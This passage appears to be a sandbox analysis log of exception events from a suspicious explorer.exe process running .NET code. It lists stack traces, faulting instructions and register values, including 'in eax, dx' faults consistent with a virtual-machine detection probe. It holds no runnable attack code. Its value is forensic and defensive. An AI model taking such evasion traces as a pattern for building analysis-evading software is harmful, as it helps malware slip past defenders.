__exception__ March 14, 2023, 10:34 a.m.	stacktrace: explorer+0x4d36a5 @ 0xd136a5 explorer+0x4d3754 @ 0xd13754 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc e9 4c 88 5e 8b 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xc000008e exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 3669620 registers.edi: 10526720 registers.eax: 3669620 registers.ebp: 3669700 registers.edx: 4294826996 registers.ebx: 0 registers.esi: 2006021163 registers.ecx: 240320512	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: exception.instruction_r: ed 64 8f 05 00 00 00 00 83 c4 04 e9 a0 6b e5 ff exception.symbol: explorer+0x4ee399 exception.instruction: in eax, dx exception.module: explorer.exe exception.exception_code: 0xc0000096 exception.offset: 5170073 exception.address: 0xd2e399 registers.esp: 3669740 registers.edi: 12103269 registers.eax: 1750617430 registers.ebp: 10526720 registers.edx: 4294793302 registers.ebx: 0 registers.esi: 13 registers.ecx: 20	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: exception.instruction_r: ed 64 8f 05 00 00 00 00 83 c4 04 81 fb 68 58 4d exception.symbol: explorer+0x4ee40d exception.instruction: in eax, dx exception.module: explorer.exe exception.exception_code: 0xc0000096 exception.offset: 5170189 exception.address: 0xd2e40d registers.esp: 3669740 registers.edi: 12103269 registers.eax: 1447909480 registers.ebp: 10526720 registers.edx: 22104 registers.ebx: 2256917605 registers.esi: 13 registers.ecx: 10	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x2905946 0x2905552 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x29013e4 0x2900db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 34 ff 50 0c 89 85 08 fe ff ff 8b 8d exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x29061db registers.esp: 87945436 registers.edi: 87945992 registers.eax: 46844444 registers.ebp: 87946004 registers.edx: 46844872 registers.ebx: 46084804 registers.esi: 48137024 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x2905946 0x2905552 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x29013e4 0x2900db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 34 ff 50 0c 89 85 08 fe ff ff 8b 8d exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x29061db registers.esp: 87945436 registers.edi: 87945992 registers.eax: 47055128 registers.ebp: 87946004 registers.edx: 47055652 registers.ebx: 46084804 registers.esi: 48137024 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e3903 0x75e3757 0x75e362d mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x75e359e 0x75e3417 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 38 b2 ba 6a 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e58f9 registers.esp: 86634740 registers.edi: 86634804 registers.eax: 0 registers.ebp: 86634812 registers.edx: 49459664 registers.ebx: 46084804 registers.esi: 49459232 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e3903 0x75e3757 0x75e362d mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x75e359e 0x75e3417 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 c5 b1 ba 6a 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e596c registers.esp: 86630340 registers.edi: 86634804 registers.eax: 0 registers.ebp: 86634812 registers.edx: 49459664 registers.ebx: 46084804 registers.esi: 49459232 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e3926 0x75e3757 0x75e362d mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x75e359e 0x75e3417 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 f8 b0 ba 6a 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e5a39 registers.esp: 86634740 registers.edi: 86634804 registers.eax: 0 registers.ebp: 86634812 registers.edx: 49656664 registers.ebx: 46084804 registers.esi: 49459232 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e3926 0x75e3757 0x75e362d mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x75e359e 0x75e3417 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 85 b0 ba 6a 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e5aac registers.esp: 86630340 registers.edi: 86634804 registers.eax: 0 registers.ebp: 86634812 registers.edx: 49656664 registers.ebx: 46084804 registers.esi: 49459232 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e3949 0x75e3757 0x75e362d mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x75e359e 0x75e3417 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 b8 af ba 6a 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e5b79 registers.esp: 86634740 registers.edi: 86634804 registers.eax: 0 registers.ebp: 86634812 registers.edx: 49657488 registers.ebx: 46084804 registers.esi: 49459232 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e3949 0x75e3757 0x75e362d mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x75e359e 0x75e3417 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 45 af ba 6a 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e5bec registers.esp: 86630340 registers.edi: 86634804 registers.eax: 0 registers.ebp: 86634812 registers.edx: 49657488 registers.ebx: 46084804 registers.esi: 49459232 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e5ca5 0x75e396c 0x75e3757 0x75e362d mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x75e359e 0x75e3417 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 b8 af ba 6a 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e5b79 registers.esp: 86634624 registers.edi: 86634688 registers.eax: 0 registers.ebp: 86634696 registers.edx: 49657488 registers.ebx: 46084804 registers.esi: 49459232 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e5ca5 0x75e396c 0x75e3757 0x75e362d mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x75e359e 0x75e3417 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb 